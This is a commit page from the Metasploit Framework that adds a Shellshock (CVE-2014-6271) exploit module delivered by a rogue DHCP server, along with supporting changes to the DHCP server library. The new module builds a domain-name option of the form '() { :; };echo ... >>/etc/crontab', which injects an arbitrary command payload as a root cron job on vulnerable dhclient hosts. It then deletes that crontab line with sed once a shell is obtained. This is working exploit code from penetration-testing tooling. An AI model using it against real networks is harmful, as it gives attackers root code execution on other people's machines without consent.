Skip to content

Commit 86f85a3

Browse files
committed
Add DHCP server module for CVE-2014-6271
1 parent 259a368 commit 86f85a3

File tree

5 files changed

+119
-26
lines changed

5 files changed

+119
-26
lines changed

lib/msf/core/exploit/dhcp.rb

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,24 @@ module Msf
1212
module Exploit::DHCPServer
1313

1414
def initialize(info = {})
15-
super
15+
super(update_info(info,
16+
'Stance' => Msf::Exploit::Stance::Passive,
17+
))
18+
19+
register_options(
20+
[
21+
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
22+
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
23+
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
24+
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
25+
OptString.new('ROUTER', [ false, "The router IP address" ]),
26+
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
27+
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
28+
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
29+
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
30+
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
31+
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
32+
], self.class)
1633

1734
@dhcp = nil
1835
end
@@ -21,7 +38,7 @@ def start_service(hash = {}, context = {})
2138
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
2239
print_status("Starting DHCP server") if datastore['VERBOSE']
2340
@dhcp.start
24-
add_socket(@dhcp.socket)
41+
add_socket(@dhcp.sock)
2542
@dhcp
2643
end
2744

lib/rex/proto/dhcp/constants.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ module DHCP
1919
OpLeaseTime = 0x33
2020
OpSubnetMask = 1
2121
OpRouter = 3
22+
OpDomainName = 15
2223
OpDns = 6
2324
OpHostname = 0x0c
2425
OpEnd = 0xff

lib/rex/proto/dhcp/server.rb

Lines changed: 15 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ def initialize(hash, context = {})
3131
self.myfilename << ("\x00" * (128 - self.myfilename.length))
3232

3333
source = hash['SRVHOST'] || Rex::Socket.source_address
34+
self.domain_name = hash['DOMAINNAME'] || nil
3435
self.ipstring = Rex::Socket.addr_aton(source)
3536

3637
ipstart = hash['DHCPIPSTART']
@@ -151,6 +152,7 @@ def send_packet(ip, pkt)
151152
end
152153

153154
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
155+
attr_accessor :domain_name
154156
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
155157
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
156158
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
@@ -166,7 +168,7 @@ def monitor_socket
166168
wds = []
167169
eds = [@sock]
168170

169-
r,w,e = ::IO.select(rds,wds,eds,1)
171+
r,_,_ = ::IO.select(rds,wds,eds,1)
170172

171173
if (r != nil and r[0] == self.sock)
172174
buf,host,port = self.sock.recvfrom(65535)
@@ -198,19 +200,19 @@ def dispatch_request(from, buf)
198200
end
199201

200202
# parse out the members
201-
hwtype = buf[1,1]
203+
_hwtype = buf[1,1]
202204
hwlen = buf[2,1].unpack("C").first
203-
hops = buf[3,1]
204-
txid = buf[4..7]
205-
elapsed = buf[8..9]
206-
flags = buf[10..11]
205+
_hops = buf[3,1]
206+
_txid = buf[4..7]
207+
_elapsed = buf[8..9]
208+
_flags = buf[10..11]
207209
clientip = buf[12..15]
208-
givenip = buf[16..19]
209-
nextip = buf[20..23]
210-
relayip = buf[24..27]
211-
clienthwaddr = buf[28..(27+hwlen)]
210+
_givenip = buf[16..19]
211+
_nextip = buf[20..23]
212+
_relayip = buf[24..27]
213+
_clienthwaddr = buf[28..(27+hwlen)]
212214
servhostname = buf[44..107]
213-
filename = buf[108..235]
215+
_filename = buf[108..235]
214216
magic = buf[236..239]
215217

216218
if (magic != DHCPMagic)
@@ -293,6 +295,8 @@ def dispatch_request(from, buf)
293295
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
294296
pkt << dhcpoption(OpRouter, self.router)
295297
pkt << dhcpoption(OpDns, self.dnsserv)
298+
pkt << dhcpoption(OpDomainName, self.domain_name)
299+
296300
if self.servePXE # PXE options
297301
pkt << dhcpoption(OpPXEMagic, PXEMagic)
298302
# We already got this one, serve localboot file

modules/auxiliary/server/dhcp.rb

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -30,19 +30,6 @@ def initialize
3030
'DefaultAction' => 'Service'
3131
)
3232

33-
register_options(
34-
[
35-
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
36-
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
37-
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
38-
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
39-
OptString.new('ROUTER', [ false, "The router IP address" ]),
40-
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
41-
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
42-
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
43-
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
44-
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
45-
], self.class)
4633
end
4734

4835
def run
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/dhcp'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::DHCPServer
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Dhclient Bash Environment Variable Injection',
17+
'Description' => %q|
18+
When bash is started with an environment variable that begins with the
19+
string "() {", that variable is treated as a function definition and
20+
parsed as code. If extra commands are added after the function
21+
definition, they will be executed immediately. When dhclient receives
22+
an ACK that contains a domain name or hostname, they are passed to
23+
configuration scripts as environment variables, allowing us to trigger
24+
the bash bug.
25+
26+
Because of the length restrictions and unusual networking scenario at
27+
time of exploitation, we achieve code execution by echoing our payload
28+
into /etc/crontab and clean it up when we get a shell.
29+
|,
30+
'Author' => [ 'egypt' ],
31+
'License' => MSF_LICENSE,
32+
'Platform' => ['unix'],
33+
'Arch' => ARCH_CMD,
34+
'References' =>
35+
[
36+
['CVE', '2014-6271'],
37+
],
38+
'Payload' =>
39+
{
40+
# 255 for a domain name, minus some room for encoding
41+
'Space' => 200,
42+
'DisableNops' => true,
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'generic bash telnet ruby',
47+
}
48+
},
49+
'Targets' => [ [ 'Automatic Target', { }] ],
50+
'DefaultTarget' => 0,
51+
'DisclosureDate' => 'Sep 24 2014'
52+
))
53+
54+
deregister_options('DOMAINNAME')
55+
end
56+
57+
def on_new_session(session)
58+
print_status "Cleaning up crontab"
59+
# XXX this will brick a server some day
60+
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
61+
end
62+
63+
def exploit
64+
hash = datastore.copy
65+
# Quotes seem to be completely stripped, so other characters have to be
66+
# escaped
67+
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
68+
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
69+
hash['DOMAINNAME'] = "() { :; };#{echo}"
70+
if hash['DOMAINNAME'].length > 255
71+
raise ArgumentError, 'payload too long'
72+
end
73+
start_service(hash)
74+
75+
begin
76+
while @dhcp.thread.alive?
77+
sleep 2
78+
end
79+
ensure
80+
stop_service
81+
end
82+
end
83+
84+
end

0 commit comments

Comments
 (0)